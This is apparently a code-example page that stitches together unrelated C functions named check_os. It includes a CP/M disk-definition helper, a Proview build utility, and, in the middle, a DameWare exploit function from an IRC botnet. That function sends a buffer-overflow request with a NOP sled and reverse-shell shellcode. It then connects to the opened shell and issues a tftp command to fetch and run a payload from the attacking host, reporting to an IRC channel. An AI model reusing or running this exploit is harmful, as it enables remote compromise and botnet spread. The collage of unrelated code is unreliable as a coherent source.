void get_floppy_diskdef(FILE *fp) {
	enum fmts fmt;
	enum medias media = mediaSize_m == 5 ? F525 : F8;
	enum densities dens = doubleDensity_m ? DD : SD;
	enum sides sid = numSides_m > 1 ? DS : SS;
	enum tpis tpi = mediaSize_m == 5 && numTracks_m > 40 ? DT : ST;
	if (media == F8) {
		fmt = Z47;
	} else {
		fmt = Z37;
	}
	if (doubleDensity_m && secSize_m == 512 && numSectors_m == 9) {
		fmt = MMS;
	}
	// can't tell M47 from Z47X... just use Z47X...
	// except by interlaced?
	if (media == F8 && secSize_m == 1024 && numSectors_m == 16) {
		fmt = interlaced_m ? Z47X : M47;
	}
	if (secSize_m == 1024) {
		fmt = media == F8 ? Z47X : Z37X;
	}
	struct dpb *dpb = &floppy_dpbs[media][fmt][dens][sid][tpi];

	float os = check_os(fp, dpb, 0L);
	printf("diskdef\n"
		"  seclen %d\n  tracks %d\n  sectrk %d\n"
		"  blocksize %d\n  maxdir %d\n  skew 0\n"
		"  boottrk %d\n  os %g\nend\n",
		mediaSsz, numTracks_m * numSides_m,
		dpb->spt / (secSize_m / 128),
		(1 << dpb->bsh) * 128,
		dpb->drm + 1,
		dpb->restrk, os);
}
void get_sasi_diskdef(FILE *fp, void *ptab, int partno) {
	struct sasi_fdisk *fdisk = (struct sasi_fdisk *)ptab;
if (0) {
int x;
for (x = 0; x < fdisk->nparts; ++x) {
	int y = (fdisk->parts[x][0] << 16) |
			(fdisk->parts[x][1] << 8) |
			fdisk->parts[x][2];
printf("%d: %d\n", x, y);
}
for (x = 0; x < fdisk->nparts; ++x) {
printf("%d dpb: %d %d %d %d %d %d %02x%02x %d %d\n", x,
fdisk->dpbs[x].spt,
fdisk->dpbs[x].bsh, fdisk->dpbs[x].bsm, fdisk->dpbs[x].exm,
fdisk->dpbs[x].dsm, fdisk->dpbs[x].drm,
fdisk->dpbs[x].alv0, fdisk->dpbs[x].alv1,
fdisk->dpbs[x].cks,
fdisk->dpbs[x].restrk);
}
}
	if (partno >= fdisk->nparts) {
		return;
	}
	int offset = (fdisk->parts[partno][0] << 16) |
			(fdisk->parts[partno][1] << 8) |
			fdisk->parts[partno][2];
	int nextoff = (fdisk->parts[partno + 1][0] << 16) |
			(fdisk->parts[partno + 1][1] << 8) |
			fdisk->parts[partno + 1][2];
	int sxf = mediaSsz / 128;
	if (nextoff == 0) {
		nextoff = (mediaCyl * mediaHead * mediaSpt) * sxf;
	}
	float os = check_os(fp, &fdisk->dpbs[partno], offset);
	printf("diskdef\n"
		"  seclen %d\n  tracks %d\n  sectrk %d\n"
		"  blocksize %d\n  maxdir %d\n  skew 0\n"
		"  boottrk %d\n  offset %d\n  os %g\nend\n",
		mediaSsz, (nextoff - offset) / fdisk->dpbs[partno].spt,
		fdisk->dpbs[partno].spt / sxf,
		(1 << fdisk->dpbs[partno].bsh) * 128,
		fdisk->dpbs[partno].drm + 1,
		fdisk->dpbs[partno].restrk,
		offset * 128, os);
}
Esempio n. 3
0
BOOL DameWare(EXINFO exinfo)
{
	char buffer[IRCLINE], szRecvBuf[5096], szReqBuf[5096]; 
	
	int os_sp=0, os_ver=check_os((char*)exinfo.ip,exinfo.port,&os_sp);
	BOOL bRet = FALSE;

	WSADATA WSAData;
 	if (fWSAStartup(MAKEWORD(1,1), &WSAData)!=0) 
		return FALSE; 

	// Build a buffer with the shellcode
	memcpy(szReqBuf,"\x10\x27",2);  
	memset(szReqBuf+0xc4+9,0x90,500); 

	*(unsigned long*)&szReqBuf[516] = target_os[os_ver].sp[os_sp].eip;
	
	memcpy(szReqBuf+520,				phatty_rshell,			strlen(phatty_rshell)	);
	memcpy(szReqBuf+1042,				"neTmaNiac",			9						);
	memcpy(szReqBuf+0x5b4+0x24,			"netmaniac was here",	18						);
	memcpy(szReqBuf+0x5b4+0x128,		"12/12/04 13:13:13",	17						);
	memcpy(szReqBuf+0x5b4+0x538,		"netninjaz_place",		15						);
	memcpy(szReqBuf+0x5b4+0x5b4+0x88,	"131.131.131.131",		16						);
	memcpy(szReqBuf+0x5b4+0x5b4+0x394,	"3.72.0.0",				strlen("3.72.0.0")		);

	// Connect to the server
	SOCKET sSock;
	if((sSock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) {
		SOCKADDR_IN ssin;
		memset(&ssin, 0, sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_addr.s_addr = finet_addr(exinfo.ip);
		ssin.sin_port = fhtons((unsigned short)exinfo.port);

		if(fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {
			_snprintf(buffer, sizeof(buffer), "[%s]: Connected to %s\r\n", exploit[exinfo.exploit].name, GetIP(sSock));
			irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);

			TIMEVAL timeout;
			timeout.tv_sec = 5;
			timeout.tv_usec = 0;
			fd_set fd;
			FD_ZERO(&fd);
			FD_SET(sSock, &fd);

			if (fselect(0, &fd, NULL, NULL, &timeout) > 0) {
				memset(szRecvBuf, 0, sizeof(szRecvBuf));
				if (frecv(sSock,(char *)szRecvBuf,sizeof(szRecvBuf),0) > 0) {
					memset(szRecvBuf,0,sizeof(szRecvBuf)); 
					
					Sleep(500);
					if (fsend(sSock,(char *)send_buff,strlen((char *)send_buff),0) > 0) {
						irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);

						Sleep(2000);
						if (frecv(sSock,(char *)szRecvBuf, sizeof(szRecvBuf),0) > 0) {
							irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);

							Sleep(500);
							if(fsend(sSock,(char *)szReqBuf,strlen((char *)szReqBuf),0) > 0) {
								Sleep(10000); 
								fclosesocket(sSock);

								memset(&ssin, 0, sizeof(ssin));
								ssin.sin_family = AF_INET;
								ssin.sin_addr.s_addr = finet_addr(exinfo.ip);
								ssin.sin_port = fhtons((unsigned short)1981);

								if(fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {	
									char cmd_buff[400];

									_snprintf(cmd_buff,sizeof(cmd_buff),
										"tftp -i %s get %s\n"
										"%s\n",
										GetIP(exinfo.sock),filename, filename);
									if(frecv(exinfo.sock, szRecvBuf, sizeof(szRecvBuf), 0) > 0) {
										Sleep(500);

										if(fsend(sSock,(char*)cmd_buff, strlen(cmd_buff),0) > 0) {
											fclosesocket(sSock);

											_snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip);
											if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
											addlog(buffer);
											bRet = TRUE;
										}
									}
								}
							}
						}
					}
				}
			}
		}
		fclosesocket(sSock);
	}

	return (bRet);
}
Esempio n. 4
0
int main(  int argc, char *argv[])
{
  pwr_tFileName filespec;
  pwr_tFileName outfile;
  pwr_tFileName found_file;
  merge_eMtype mtype;
  FILE *fp;
  FILE *outfp;
  char line[200];
  int sts;
  char mtab[1000][32];
  int mtabcnt = 0;
  int i;
  int idx;
  pwr_tCmd cmd;
  pwr_tFileName incdir;
  pwr_tFileName cfile;
  pwr_tFileName ofile;
  char pwre_cc[250];
  char pwre_cxx[250];
  char pwre_ar[250];
  char *s;
  int arg_keep = 0;
  int arg_verbose = 0;
  int in_if = 0;
#if defined OS_LINUX
  char os[] = "OS_LINUX";
  char dos[] = "-DOS_LINUX -DOS_POSIX";
  char cflags[] = "";
#elif defined OS_MACOS
  char os[] = "OS_MACOS";
  char dos[] = "-DOS_MACOS -DOS_POSIX";
  char cflags[] = "";
#elif defined OS_FREEBSD
  char os[] = "OS_FREEBSD";
  char dos[] = "-DOS_FREEBSD -DOS_POSIX";
  char cflags[] = "";
#elif defined OS_OPENBSD
  char os[] = "OS_OPENBSD";
  char dos[] = "-DOS_OPENBSD -DOS_POSIX";
  char cflags[] = "";
#elif defined OS_CYGWIN
  char os[] = "OS_CYGWIN";
  char dos[] = "-DOS_CYGWIN -DOS_POSIX";
  char cflags[] = "-I/usr/include/tirpc";
#endif
  if ( argc < 4) {
    usage();
    exit(1);
  }

  if ( (s = getenv( "pwre_cc")))
    strncpy( pwre_cc, s, sizeof(pwre_cc));
  else
    strncpy( pwre_cc, "gcc", sizeof(pwre_cc));
  if ( (s = getenv( "pwre_cxx")))
    strncpy( pwre_cxx, s, sizeof(pwre_cxx));
  else
    strncpy( pwre_cxx, "g++", sizeof(pwre_cxx));
  if ( (s = getenv( "pwre_ar")))
    strncpy( pwre_ar, s, sizeof(pwre_ar));
  else
    strncpy( pwre_ar, "ar", sizeof(pwre_ar));


  idx = 0;
  for ( i = 1; i < argc; i++) {
    if ( strcmp( argv[i], "-k") == 0)
      arg_keep = 1;
    else if ( strcmp( argv[i], "-v") == 0)
      arg_verbose = 1;
    else {
      switch ( idx) {
	case 0:
	  if ( strcmp( argv[i], "io_base") == 0)
   	    mtype = merge_eMtype_IoBase;
  	  else if ( strcmp( argv[i], "wb_base") == 0)
    	    mtype = merge_eMtype_WbBase;
  	  else if ( strcmp( argv[i], "xtt_base") == 0)
    	    mtype = merge_eMtype_XttBase;
  	  else {
    	   usage();
    	   exit(1);
  	  }
	  idx++;
	  break;
	case 1:
	  strncpy( filespec, argv[i], sizeof(filespec));
	  idx++;
	  break;
	case 2:
	  strncpy( outfile, argv[i], sizeof(filespec));
	  idx++;
	  break;
      }
    }
  }
  sts = dcli_search_file( filespec, found_file, DCLI_DIR_SEARCH_INIT);
  while ( ODD(sts)) {
    fp = fopen( found_file, "r");
    if ( !fp) {
      printf( "Unable to open file %s\n", found_file);
      exit(1);
    }

    while( dcli_read_line( line, sizeof(line), fp)) {
      dcli_trim( line, line);
      if ( strncmp( line, "#if" , 3) == 0) {
        in_if = ! check_os( &line[4], os);
        continue;
      }
      else if ( in_if) {
        if ( strncmp( line, "#endif", 6) == 0) {
          if ( in_if)
	    in_if = 0;
	  continue;
        }
        continue;
      }
      else if ( line[0] == 0 || line[0] == '#')
	continue;
      strncpy( mtab[mtabcnt++], line, sizeof(mtab[0]));
      if ( mtabcnt > (int) sizeof(mtab)/sizeof(mtab[0]) - 1)
	break;
    }    

    fclose( fp);
    sts = dcli_search_file( filespec, found_file, DCLI_DIR_SEARCH_NEXT);
  }
  dcli_search_file( filespec, found_file, DCLI_DIR_SEARCH_END);

  switch ( mtype) {
  case merge_eMtype_IoBase: {
    strncpy( cfile, "/tmp/rt_io_base_methods.c", sizeof(cfile));
    strncpy( ofile, "/tmp/rt_io_base_methods.o", sizeof(cfile));

    outfp = fopen( cfile, "w");
    if ( !outfp) {
      printf( "Unable to open file %s\n", outfile);
      exit(1);
    }

    fprintf( outfp, "#include \"rt_io_base.h\"\n");
    for ( i = 0; i < mtabcnt; i++) {
      fprintf( outfp, "pwr_dImport pwr_BindIoMethods(%s);\n", mtab[i]);
    }
  
    fprintf( outfp, "pwr_BindIoClasses(Base) = {\n");
    for ( i = 0; i < mtabcnt; i++) {
      fprintf( outfp, "  pwr_BindIoClass(%s),\n", mtab[i]);    
    }
    fprintf( outfp, "  pwr_NullClass};\n");    
    fclose( outfp);
    break;
  }
  case merge_eMtype_WbBase: {
    strncpy( cfile, "/tmp/wb_i_base_methods.cpp", sizeof(cfile));
    strncpy( ofile, "/tmp/wb_i_base_methods.o", sizeof(cfile));

    outfp = fopen( cfile, "w");
    if ( !outfp) {
      printf( "Unable to open file %s\n", outfile);
      exit(1);
    }

    fprintf( outfp, "#include \"wb_pwrs.h\"\n");
    for ( i = 0; i < mtabcnt; i++) {
      fprintf( outfp, "pwr_dImport pwr_BindMethods(%s);\n", mtab[i]);
    }
  
    fprintf( outfp, "pwr_BindClasses(Base) = {\n");
    for ( i = 0; i < mtabcnt; i++) {
      fprintf( outfp, "  pwr_BindClass(%s),\n", mtab[i]);    
    }
    fprintf( outfp, "  pwr_NullClass};\n");    
    fclose( outfp);
    break;
  }
  case merge_eMtype_XttBase: {
    strncpy( cfile, "/tmp/xtt_i_methods.c", sizeof(cfile));
    strncpy( ofile, "/tmp/xtt_i_methods.o", sizeof(cfile));

    outfp = fopen( cfile, "w");
    if ( !outfp) {
      printf( "Unable to open file %s\n", outfile);
      exit(1);
    }

    fprintf( outfp, "#include \"xtt_menu.h\"\n");
    for ( i = 0; i < mtabcnt; i++) {
      fprintf( outfp, "pwr_dImport pwr_BindXttMethods(%s);\n", mtab[i]);
    }
  
    fprintf( outfp, "pwr_BindXttClasses(Base) = {\n");
    for ( i = 0; i < mtabcnt; i++) {
      fprintf( outfp, "  pwr_BindXttClass(%s),\n", mtab[i]);    
    }
    fprintf( outfp, "  pwr_NullClass};\n");    
    fclose( outfp);
    break;
  }
  }

  dcli_translate_filename( incdir, "$pwr_einc");
  switch ( mtype) {
  case merge_eMtype_WbBase:
    snprintf( cmd, sizeof(cmd), "%s -c %s -I%s %s -o %s %s", pwre_cxx, cflags, incdir, dos, ofile, cfile);
    break;
  default:
    snprintf( cmd, sizeof(cmd), "%s -c %s -I%s %s -o %s %s", pwre_cc, cflags, incdir, dos, ofile, cfile);
  }
  if ( arg_verbose)
    printf( "co_merge: %s\n", cmd);
  system( cmd);
  snprintf( cmd, sizeof(cmd), "%s r %s %s", pwre_ar, outfile, ofile);
  if ( arg_verbose)
    printf( "co_merge: %s\n", cmd);
  system(cmd);
  snprintf( cmd, sizeof(cmd), "rm %s", ofile);
  system(cmd);
  if ( !arg_keep) {
    snprintf( cmd, sizeof(cmd), "rm %s", cfile);
    system(cmd);
  }
  return 1;
}